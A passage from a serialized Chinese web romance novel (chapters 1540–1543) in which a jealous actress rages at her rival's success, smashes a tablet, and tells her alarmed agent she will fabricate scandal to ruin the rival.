她的脸色,是一种病态的惨白,白得几乎能看清皮肤下青色的血管。而那双原本因为精心修饰而显得妩媚动人的眼睛,此刻却布满了狰狞的血丝,死死地盯着面前的平板电脑屏幕,仿佛要将那小小的屏幕瞪出一个洞来。 屏幕上,正是那个让她恨得牙痒痒,却又不得不承认其光芒万丈的身影。 温栩栩! 画面里,温栩栩穿着一身简约而高定的白色礼服,长发如瀑,妆容精致,正落落大方地坐在访谈节目的主位上。 第1540章 黎氏热捧的小公主 聚光灯打在她身上,为她镀上了一层梦幻般的光晕。主持人满脸堆笑,言语间充满了恭敬与讨好,将她捧得如同九天之上的凤凰。 “……所以,栩栩,当时拍摄《灵媒》的时候,听说有一场在雪地里拍了整整三天三夜,是真的吗?太敬业了吧!”主持人适时地抛出问题,语气里满是惊叹。 温栩栩微微一笑,那笑容温婉而得体,带着一种云淡风轻的从容:“还好啦,其实也没那么夸张。当时导演和剧组的工作人员都陪着我一起在雪地里,大家都不容易。而且,黎云笙先生……哦不,我们黎总,当时也偷偷来探过班,还带来了热饮和暖宝宝,算是苦中作乐吧。” 她的话语轻描淡写,却像一颗重磅炸弹,在苏婉的心里轰然引爆。 黎云笙。 又是黎云笙! 那个她费尽心机、耗尽了整个青春去追逐的男人,此刻,竟然成了温栩栩口中,那个会偷偷来探班、送温暖的“黎总”? 那个她以为只属于自己的、高高在上的神,竟然也会有如此温柔体贴的一面? 而这份温柔,竟然不是给她的! 一股腥甜的铁锈味在口腔里弥漫开来。 苏婉这才惊觉,自己竟然将下唇咬得几乎要渗出血来。 她的指甲,早已深深嵌进掌心,尖锐的疼痛从手心传来,却远不及她心头的万分之一。 疼,是物理上的痛。 而心,是被嫉妒和恨意啃噬得千疮百孔的麻木。 她本以为,温栩栩就算被捧着,也只会像一只过街老鼠,因为那些被她精心策划、四处散播的负面新闻而处处受阻,最终灰溜溜地再次消失在大众视野里。 她以为,温栩栩会像一条丧家之犬,在娱乐圈的底层苟延残喘。 可现实,却像一记响亮的耳光,狠狠地抽在了她的脸上。 《灵媒》的收视率,高得吓人,一路飘红,打破了近几年的古装剧记录。网络热度更是居高不下,热搜榜单上,温栩栩的名字和“梵颜”这个角色,占据了大半壁江山。 全网都在夸她的演技,夸她的神颜,夸她是“黎氏娱乐的镇宅之宝”,是“黎氏热捧的小公主”。 小公主? 哈! 真是可笑至极! 苏婉的胸口剧烈起伏着,一股无法遏制的怒火和酸涩冲上头顶。 她感觉自己就像一个天大的笑话。 她在这个圈子里摸爬滚打了这么多年,付出了多少不为人知的代价,才勉强维持住一线花旦的地位。 可温栩栩呢? 那个曾经被她踩在脚下的女人,那个她眼中的“替身”,凭什么?凭什么一回来,就能拥有这一切?! 那部《灵媒》,那个“梵颜”,就像一道无法逾越的天堑,将她和温栩栩彻底分隔在了两个世界。 一个是光芒万丈的顶流,一个是被光芒刺得睁不开眼的陪衬。 更让她无法接受的是,那些曾经对她阿谀奉承的主持人,此刻对着温栩栩,竟然也能说出“黎氏热捧的小公主”这种话!那语气,那神情,充满了羡慕和肯定。 那她苏婉算什么?! 她才是黎氏的“一姐”啊! 为什么?为什么到了他们嘴里,温栩栩反倒成了那个备受宠爱的“小公主”?! 这不公平!这太不公平了! 苏婉感觉自己的肺都要气炸了,嫉妒的毒蛇在她的心口疯狂撕咬,让她几乎无法呼吸。 她羡慕温栩栩此刻的风光无限,羡慕她能轻而易举地得到黎云笙的关注,羡慕她拥有那个所有人都称赞的“梵颜”角色。 她恨,她恨温栩栩的命这么好,恨她总是能化险为夷,恨她那张看似无辜却勾人至极的脸! “啊——!” 一声压抑到极致的低吼从苏婉的喉咙深处溢出,带着无尽的怨毒和不甘。 “啪——!!!” 她再也控制不住自己,猛地抓起桌上的平板电脑,用尽全身的力气,狠狠地砸向了地面! 昂贵的电子设备在触地的瞬间,屏幕应声碎裂,外壳四分五裂,零件散落一地。 巨大的声响在空旷的休息室里回荡,显得格外刺耳。 门外,听到动静的助理吓得一个哆嗦,差点把手里端着的咖啡洒了一地。 而坐在不远处沙发上,正在看剧本的经纪人王姐,更是被这突如其来的巨响吓得魂飞魄散,“腾”地一下从沙发上跳了起来。手中的剧本“啪嗒”一声掉在地上,她脸色煞白,心有余悸地看着苏婉,颤声问道:“祖宗!我的活祖宗!你这是要吓死我啊!到底发生什么事情了?你为什么这么生气?!” 王姐的心都在滴血。这个苏婉,真是越来越难伺候了。最近因为温栩栩复出的事情,她的心情就一直很差,动不动就发脾气,摔东西。今天这又是闹哪一出?这可是公司刚配的新款平板啊! 苏婉根本没有理会经纪人的惊慌失措。 她像一头被彻底激怒的母狮,猛地转过头,那双通红的眼睛死死地瞪着经纪人,眼神里充满了疯狂和怨毒,仿佛要吃人一般。 “你还问?!”苏婉的声音尖利刺耳,带着一种歇斯底里的颤抖,“你是不是眼瞎啊?!你不会自己看吗?!” 她伸手指着地上那堆破碎的电子残骸,仿佛那就是温栩栩的化身,恨不得上去再踩上几脚。 “温栩栩火了!你看到了吗?!她火了!!”苏婉几乎是咆哮着吼出了这句话,唾沫星子都喷了出来,“那个女人!我的情敌!她现在红得发紫!全网都在夸她!都在捧她!” 经纪人被她吼得一愣一愣的,下意识地捡起地上的剧本,小声辩解道:“我……我看到了啊。《灵媒》确实火,我也正想跟你说这事呢……” “你还说!”苏婉根本不给她说完的机会,情绪更加激动,“我看你是巴不得我被她踩下去是不是?!你看那些主持人!他们刚才在节目里说什么?!他们说温栩栩是黎氏热捧的小公主!小公主!” 苏婉重复着这三个字,每一个字都像是从牙缝里挤出来的,带着森森的寒意和滔天的恨意。 第1541章 极度自卑又极度自负 “那我算什么?!到头来,我算什么?!一个笑话吗?!一个给那个‘小公主’做嫁衣的垫脚石吗?!” 她越说越激动,胸口剧烈起伏,整个人都在不受控制地发抖。 她猛地站起身,一脚踹翻了面前的茶几。 上面的水果、零食、水杯哗啦啦地掉了一地,一片狼藉。 经纪人看着这愈发失控的场面,吓得连连后退,靠在墙上,大气都不敢出。 她知道,此刻的苏婉,就像一座随时会喷发的火山,任何一句不合时宜的话,都可能成为引爆她的最后一根导火索。 她看着苏婉那张因为嫉妒和愤怒而扭曲变形的脸,心中第一次涌起一股深深的无力感。 完了。 这个圈子,最怕的就是艺人的心态崩了。 而苏婉,显然已经因为温栩栩的爆火,彻底失去了理智。 她眼中燃烧的,不再是想要超越对手的斗志,而是一种想要将对方彻底毁灭的、疯狂的恨意。 这种恨意,会蒙蔽她的双眼,会毁了她的前程。 但此刻,经纪人什么都做不了,只能眼睁睁地看着苏婉在嫉妒的泥沼里越陷越深。她甚至不敢去劝,只能在心里暗暗叫苦。 这可怎么办才好啊…… 苏婉站在一片狼藉的中心,胸口剧烈起伏,大口大口地喘着粗气。她看着窗外,眼神空洞而疯狂。 温栩栩,你凭什么?! 你凭什么抢走我的一切?! 这口气,我咽不下去! 绝对咽不下去! 苏婉站在一片狼藉的中心,胸膛剧烈起伏,大口大口地喘着粗气。 她的眼神空洞而疯狂,死死地盯着地上那堆平板电脑的残骸,仿佛那不是一台机器,而是温栩栩那张令她憎恶的脸。 经纪人王姐靠在墙上,看着苏婉这副仿佛要将自己也一同毁灭的模样,心里的无奈和焦躁已经堆积到了顶点。 她从业这么多年,见过形形色色的艺人,有傻白甜的,有心机深沉的,有敬业的,也有烂泥扶不上墙的。但像苏婉这样,一旦失控就完全无法理喻,甚至有些“癫狂”的,还真是头一个。 王姐在心里深深地叹了一口气,揉了揉突突直跳的太阳穴。 她知道,现在不是沉默的时候,如果她再不说话,苏婉恐怕真的会在这个休息室里把自己逼疯。 她硬着头皮,从墙边走开,小心翼翼地绕过地上的碎片,走到苏婉面前。 她的语气,是前所未有的严肃和沉重,带着一种恨铁不成钢的意味。 “苏婉,你冷静一些。” 王姐的声音不大,却用上了十足的力道,试图穿透苏婉那被嫉妒蒙蔽的头脑。 “你看看你现在像什么样子?摔东西?发脾气?这就是你解决问题的方式吗?” 她指着满地的狼藉,语气里满是无奈和疲惫:“你这样根本无法解决任何问题,只会气到你自己,毁了你自己!你明白吗?” 王姐真的觉得心累。 眼前的这个女人,明明在镜头前可以是那么优雅、那么知性,可一旦涉及到温栩栩,涉及到黎云笙,她所有的理智和修养,瞬间就会崩塌得一干二净。 苏婉听到王姐的话,猛地转过头,那双布满血丝的眼睛死死地瞪着她,眼神里充满了暴戾和不解。 “我怎么办?!” 她几乎是尖叫着反问,声音因为激动而变得尖锐刺耳,在狭小的休息室里回荡。 “王姐,你告诉我我该怎么办?!眼睁睁地看着我的男人,成了温栩栩的爱人?!看着我曾经拥有的一切,都变成了她的陪衬?!” 她越说越激动,身体因为愤怒和不甘而剧烈颤抖,手指紧紧地攥成拳头,指甲再次深深地陷进肉里。 “我现在就是一个天大的笑话!全娱乐圈都在看我的笑话!黎云笙现在眼里只有温栩栩,那些主持人也敢当着所有人的面捧温栩栩踩我!我算什么?!我苏婉在这圈子里摸爬滚打这么多年,到头来,就是一个给别人做嫁衣的跳梁小丑吗?!” 她的声音里,充满了歇斯底里的愤怒,也夹杂着一丝连她自己都未曾察觉的、深深的恐慌和委屈。 在她看来,黎云笙就是她的,一直都是她的!当年如果不是她为了所谓的“前途”和“资源”,犹豫不决,优柔寡断,怎么会给了温栩栩可乘之机? 现在,那个她曾经以为可以随意拿捏的女人,竟然骑到了她的头上,夺走了她的一切! 这口气,她怎么咽得下去?! 王姐看着苏婉这副状若疯癫的模样,心里的无奈感,简直要将她淹没。 她张了张嘴,那句到了嘴边的“黎少什么时候成了你的男人了”,硬生生地被她咽了回去。 她在心里疯狂地吐槽:我的姑奶奶啊,你清醒一点吧! 黎云笙什么时候是你的男人了? 明明从头到尾,都是你的一厢情愿! 人家黎少对你,不过是看在你是公司旗下当家花旦的面子上,多给了你一些优待和资源罢了。 那些所谓的“宠爱”,那些所谓的“特殊关照”,在王姐这个旁观者眼里,根本就是子虚乌有!那不过是苏婉自己给自己编织的一个美梦! 碍于情面? 不,那根本不是碍于情面! 那是因为苏婉有价值,能为公司赚钱! 一旦她失去了价值,或者像现在这样,心态崩了,黎云笙恐怕连看都不会再看她一眼! 可这些话,王姐只能在心里想想。 她太了解苏婉了。这个女人,外表看似光鲜亮丽,内心却极度自卑又极度自负。 她把自尊心看得比什么都重。如果自己现在真的把这些残酷的真相直接说出来,无异于在火药桶旁边扔了一根火柴。 苏婉真的会发疯的。 她会彻底失控,会做出更加疯狂、更加不可挽回的事情。到时候,别说挽回黎云笙的心了,恐怕连她现在的地位,都要保不住了。 王姐深吸一口气,强迫自己压下心中的烦躁和无奈,换上一副苦口婆心的表情。 “苏婉,你先别激动,听我说。”她放缓了语气,试图安抚她的情绪,“事情还没到那种不可挽回的地步。你和温栩栩,现在的情况确实有差距,但我们也不是完全没有机会。” 第1542章 毁了她最引以为傲的东西 她走上前,想要去扶苏婉的肩膀,却被苏婉猛地甩开。 王姐的手僵在半空中,脸上的表情有些尴尬,但她还是坚持说道:“你现在这样自怨自艾,只会让亲者痛仇者快。温栩栩现在风头正盛,正是得意的时候。你要是垮了,她才最高兴。” 她看着苏婉,试图用激将法让她清醒一点:“你甘心吗?你真的甘心就这样输给温栩栩吗?那个你曾经以为可以随意踩在脚下的女人?” 提到“输给温栩栩”,苏婉的身体,明显地颤抖了一下。 不甘心。 她当然不甘心! 这两个字,像毒蛇一样,啃噬着她的心脏。 王姐见她有反应,连忙趁热打铁:“所以,你现在更要冷静。你越是生气,就越容易出错。你要想想,怎么才能重新拿回属于你的东西。” “拿回来?怎么拿回来?”苏婉的眼神有些涣散,她喃喃自语,语气里充满了迷茫和怨毒,“她现在是黎氏的‘小公主’,黎云笙的心头肉,我拿什么跟她争?” “不,你有!”王姐斩钉截铁地说,“你有经验,你有粉丝基础,你还有……” 她的话还没说完,苏婉就发出了一声凄厉的冷笑。 “粉丝基础?经验?在黎云笙的宠爱面前,在那部爆火的《灵媒》面前,这些算得了什么?!” 她看着王姐,眼神里充满了绝望和疯狂:“王姐,你别骗我了,也别骗你自己了。我们都清楚,这个圈子,最现实不过。没有资本的力捧,没有一个愿意为你砸资源的男人,你什么都不是!” 她顿了顿,声音低沉下来,带着一种令人不寒而栗的阴冷。 “既然温栩栩想当她的‘小公主’,想享受这一切……” 苏婉缓缓地转过头,看向窗外,眼神里闪烁着一种病态的、疯狂的光芒。 “那我就亲手,把她从神坛上拉下来。我要让她知道,不属于她的东西,抢了,也是要还的。” 她的语气,平静得可怕。 但王姐却从这平静之下,听到了一股深入骨髓的寒意。 她看着苏婉那张扭曲而决绝的脸,心里咯噔一下。 完了。 她最担心的事情,还是发生了。 苏婉没有选择冷静和隐忍,而是选择了一条最极端、最危险的路。 这一次,恐怕真的要出大事了。 空气中弥漫着一股令人窒息的胶着感。苏婉的那番话,像淬了毒的匕首,带着一股玉石俱焚的疯狂,让王姐的脸色瞬间变得惨白。 “你疯了吗?!” 王姐再也无法保持那副苦口婆心的姿态,失声低吼道。 她几步冲上前,这次不再顾忌苏婉是否会甩开,一把抓住了苏婉的肩膀,力道之大,指节都泛起了青白。 “苏婉,你给我清醒一点!” 她用力地摇晃着苏婉,试图将这个已经半只脚踏入深渊的女人拽回来。 “你以为黎云笙是吃素的吗?!你以为他现在护着温栩栩是装样子的吗?!” 王姐的声音因为恐惧而微微变调。她比谁都清楚黎云笙的手段,也比谁都明白,一旦苏婉真的动了手,被查出来的后果,将是毁灭性的。 “你现在去报复温栩栩?你拿什么去报复?!用你的前途去赌吗?!” 她死死地盯着苏婉那双被仇恨烧得通红的眼睛,一字一句,像是在从牙缝里挤出来: “如果被黎云笙查出来,他绝对不会放过你!绝对不会!到时候,别说是一线花旦了,你在这个圈子里,连个十八线的小透明都不如!你信不信?!” 王姐真的急了。 她不想看着自己多年的心血,就这么毁于一旦。 苏婉被她摇晃得有些头晕,但那股子狠劲却丝毫未减。 她听着王姐的警告,脸上非但没有露出惧色,反而绽开了一抹凄厉而扭曲的笑容。 “不放过我?哈……” 她像是听到了什么天大的笑话,肩膀因为压抑的笑声而剧烈颤抖。 “王姐,你到现在还看不明白吗?” 苏婉缓缓地抬起头,那双曾经妩媚动人的眸子里,此刻只剩下一片死寂的疯狂。 “我现在就已经是个笑话了!” 她的声音陡然拔高,带着一种破罐子破摔的决绝。 “你让我就这样干看着?看着温栩栩那个贱人,踩着我的肩膀,夺走我的男人,夺走我的资源,夺走本该属于我的一切荣耀和宠爱?!” “然后呢?然后我还要像个没事人一样,继续在旁边鼓掌,祝福她?!” “你真的当我是孬种吗?!” 最后几个字,苏婉几乎是吼出来的。她的脸涨得通红,脖子上青筋暴起,整个人像一只被逼到绝境的困兽,随时准备着撕咬任何靠近她的人。 她猛地推开王姐,踉跄着后退了两步,眼神里充满了对王姐“懦弱”的鄙夷和对自己“处境”的不甘。 “你看看现在整个圈子!多少双眼睛在盯着我?!多少人在等着看我苏婉的笑话?!” 苏婉伸出手指,颤抖地指着门外,仿佛能透过那扇门,看到整个娱乐圈的冷嘲热讽。 “他们现在都在议论,都在窃喜!他们一定在想,苏婉这次是真的栽了,被一个刚复出的过气艺人踩在了脚下,连个屁都不敢放!” “如果我什么都不做,如果我就这么忍了……” 苏婉深吸一口气,那口气里,满是血腥味。 “那我才真的是个彻头彻尾的笑话!一个软弱可欺的懦夫!一个连自己东西都守不住的废物!” 她的眼神,从愤怒转为阴狠,从阴狠转为毒辣。 “我不甘心!我绝对不甘心!” “既然她温栩栩能凭一部《灵媒》翻身,能凭黎云笙的宠爱上位……” 苏婉的嘴角,勾起一抹残忍至极的弧度。 “那我就毁了她最引以为傲的东西!我要让她知道,从泥潭里爬出来的蛆虫,就算披上了金丝雀的羽毛,也永远改变不了她肮脏的本性!” 王姐看着苏婉这副模样,心彻底沉到了谷底。她知道,此刻的苏婉,已经完全被仇恨和嫉妒吞噬了理智。任何的劝说,在她眼里都是无能的表现。 “你……你想干什么?”王姐的声音,带着一丝连自己都未察觉的颤抖。 第1543章 创造黑料 苏婉没有直接回答,而是缓缓地转过身,背对着王姐。她走到那面巨大的落地镜前,看着镜子里那个狼狈不堪、眼神却如毒蛇般阴冷的女人。 她抬起手,轻轻抚摸着自己的脸颊,动作轻柔得仿佛在对待一件稀世珍宝。 “你说得对,黎云笙现在是护着她。” 苏婉的声音,平静得可怕,没有了刚才的歇斯底里,却多了一种令人毛骨悚然的阴森。 “所以,我不能明着来。我要是明着去针对她,不仅讨不到好,还会把自己搭进去。” 她转过头,看向王姐,镜子里的她,嘴角噙着一抹诡异的笑容。 “但是,王姐,你有没有想过……有些事情,不需要我亲自动手呢?” 王姐的心头一跳,一种不祥的预感油然而生。 “你什么意思?” 苏婉笑了,那笑容里,充满了恶意和算计。 “温栩栩一个孤儿出身,身世怎么可能那么清白甘敬。这世上,真的有那么干净的人吗?” 她缓缓地走近王姐,压低了声音,每一个字,都像是从地狱里爬出来的恶鬼在低语。 “我不信。我就不信,她一个从底层摸爬滚打上来的人,真的能干干净净、清清白白!她过去的那些年,那些空白的履历,那些突然就消失又出现的时光……真的就没有一点可以挖掘的‘黑料’吗?” “就算没有……” 苏婉的眼神,瞬间变得无比阴毒。 “那也可以‘创造’一点。” “我要让那些狗仔,那些营销号,那些唯恐天下不乱的网友……去扒她!去黑她!去把她的过去翻个底朝天!” 她凑到王姐耳边,轻声说道,语气里带着一种病态的快感。 “我不需要真的做什么。我只需要,稍微‘引导’一下舆论的方向。放出一点似是而非的风声,让那些人自己去联想,去编造……” “到时候,就算黎云笙想护着她,他能堵得住全网悠悠众口吗?他能控制所有人的思想吗?” “只要有一丁点的污点,只要有一点点的质疑声……” 苏婉直起身,看着镜子里自己那张扭曲的脸,满意地笑了。 “我就要让这星星之火,燎遍整个互联网!我要让温栩栩身败名裂!我要让她知道,得罪我苏婉的下场,就是万劫不复!” 王姐听完这番话,只觉得一股寒气从脚底直冲天灵盖。 她看着苏婉,就像在看一个完全陌生的、疯狂的魔鬼。 她想过苏婉会不甘心,想过她会报复,但她没想到,苏婉的手段会如此阴险,如此恶毒! 这不是正面交锋,这是要在背后,用最肮脏的手段,去毁掉一个人! “你……你疯了吗。”王姐的声音,干涩而颤抖。 “疯?” 苏婉不以为然地笑了,她整理了一下自己凌乱的衣领,重新恢复了那副高高在上的姿态。 “不,王姐,这不叫玩火。这叫……兵不血刃。” 她转过身,看着王姐,眼神里带着一丝不容置疑的命令。 “这件事,你不用管。你只需要帮我处理好后续的公关就行。至于其他的……” 苏婉走到门口,手搭在门把手上,回头看了王姐一眼,那眼神,冰冷得没有一丝温度。 “就当不知道。你放心,我不会让你难做。只要温栩栩倒了,最大的赢家,还是我。而你,依旧是那个捧红了我的金牌经纪人。” 王姐看着苏婉那张因执念而扭曲的脸,终于忍不住,声音沙哑地开口了。 “苏婉,你真的知道自己在做什么吗?” 她的声音里,带着一种近乎绝望的疲惫。她上前一步,想要抓住苏婉的手,却被苏婉嫌恶地躲开了。 王姐的手僵在半空中,显得格外狼狈。 “温栩栩现在是黎云笙的女人了!”王姐几乎是咬着牙,一字一句地提醒道,“你忘了黎云笙是什么性子吗?没有人比我们更清楚他的手段!” 她的眼神里,充满了恐惧。那是一种对未知惩罚的深深恐惧。 “你这样做,不是在报复温栩栩,你这是在与黎云笙正面为敌啊!”王姐的声音都在颤抖,“你有没有想过,一旦黎云笙查出真相,一旦他知道是你在背后搞鬼……他会怎么报复你?我不敢想象!真的不敢想象!” 在王姐眼里,黎云笙从来不是一个可以被感情左右的商人。他是一个冷酷的帝王,任何胆敢挑衅他权威的人,都会被他毫不留情地碾碎。 苏婉现在所做的一切,在王姐看来,无异于飞蛾扑火,自取灭亡。 苏婉却像是听到了什么天大的笑话,她猛地转过头,眼神里充满了疯狂和不屑。 “报复我?为什么要报复我?” 她冷笑一声,那声音尖利刺耳,像指甲刮过玻璃。 “王姐,你是不是老糊涂了?我这是在帮他!我在帮他揭开温栩栩那层虚伪的面具!让他看看,他捧在手心里的宝贝,到底是个什么东西!” 苏婉的胸膛剧烈起伏着,眼中燃烧着嫉妒的火焰。 “温栩栩算什么东西?她不过是个本该烂在孤儿院里的野种!她有什么资格站在聚光灯下?有什么资格被那么多人喜欢?有什么资格……抢走黎云笙?” 她越说越激动,手指紧紧地攥成拳头,指甲深深地嵌进掌心里。 “这就是她的命!她以为现实是童话故事吗?以为自己是灰姑娘,就能嫁给王子,从此过上幸福的生活?简直是痴心妄想!” 苏婉的眼神,变得无比阴毒。 “她不配!她根本不配!” 她深吸一口气,努力平复着自己激荡的情绪,然后,用一种近乎偏执的语气,缓缓说道: “我会让黎云笙知道,谁才是最适合他的。只有我苏婉才是他最完美的伴侣。温栩栩她不过是个跳梁小丑,一个随时可以被丢弃的玩物罢了。” 王姐看着苏婉,只觉得眼前这个女人,陌生得可怕。 她认识苏婉这么多年,从未见过她如此疯狂、如此不理智的一面。 她就像一个走火入魔的信徒,将自己所有的执念,都寄托在了一个虚无缥缈的幻想上。